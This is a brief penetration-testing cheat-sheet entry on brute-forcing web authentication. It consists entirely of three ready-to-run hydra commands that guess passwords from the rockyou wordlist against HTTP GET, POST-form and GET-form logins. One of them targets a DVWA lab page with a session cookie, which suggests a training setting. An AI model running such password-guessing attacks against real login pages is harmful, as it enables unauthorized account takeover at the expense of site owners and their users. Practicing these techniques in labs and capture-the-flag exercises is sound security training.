Brute Forcing Authentication

hydra -l user -P /usr/share/wordlists/rockyou.txt -f $ip http-get /path

hydra <IP> http-post-form "/path:target=auth&mode=login&user=^USER^&password=^PASS^:<FAILED MESSAGE>" -P /usr/share/wordlists/rockyou.txt -l admin

hydra 10.11.1.250 -t 2 -l admin -P /usr/share/wordlists/rockyou.txt http-form-get "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=409e45633a8281adb8f182021cfacd14"